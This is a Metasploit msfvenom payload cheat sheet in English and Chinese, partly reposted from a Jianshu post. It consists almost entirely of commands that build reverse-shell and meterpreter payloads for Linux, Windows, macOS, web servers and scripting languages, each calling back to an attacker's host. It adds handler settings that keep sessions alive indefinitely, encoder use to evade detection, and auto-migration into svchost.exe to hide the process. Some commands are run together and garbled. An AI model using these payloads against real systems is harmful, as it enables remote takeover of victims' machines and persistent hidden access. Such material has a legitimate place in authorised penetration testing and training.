List payloads
msfvenom -l

Binaries
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.phpcat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
Jar
msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handlerset PAYLOAD set LHOST set LPORT set ExitOnSession falseexploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

作者：JackyTsuuuy
链接：https://www.jianshu.com/p/aebd30bf6859
来源：简书
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

MSF Payloads

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
  2. msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
  3. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
  4. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF 生成在 Linux 下反弹的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF 生成反弹 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF 生成反弹 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF 生成反弹 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF 生成反弹 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF 生成反弹 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF 生成反弹 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

msf 监听参数

防止假session

遇到假session或者刚连接就断开的情况

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口，保持侦听。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下，如果一个会话将在5分钟（300秒）没有任何活动，那么它会被杀死,为防止此情况可将此项修改为0

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下，一个星期（604800秒）后，会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务，-z为持续监听，使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

快捷建立监听

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

payload可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程，这种进程很容易被发现和关闭，在后期想做持久化的时候只能再使用migrate进行。

其实在生成payload时可直接使用如下命令，生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe，关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。

在上面的生成payload参数中：
（1）PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程，自己测试的时候不建议到这个进程而是其他的持久进程。
（2）使用-p指定使用的攻击载荷模块，使用-e指定使用x86/shikata_ga_nai编码器，使用-f选项告诉MSF编码器输出格式为exe，-o选项指定输出的文件名为payload.exe，保存在根目录下。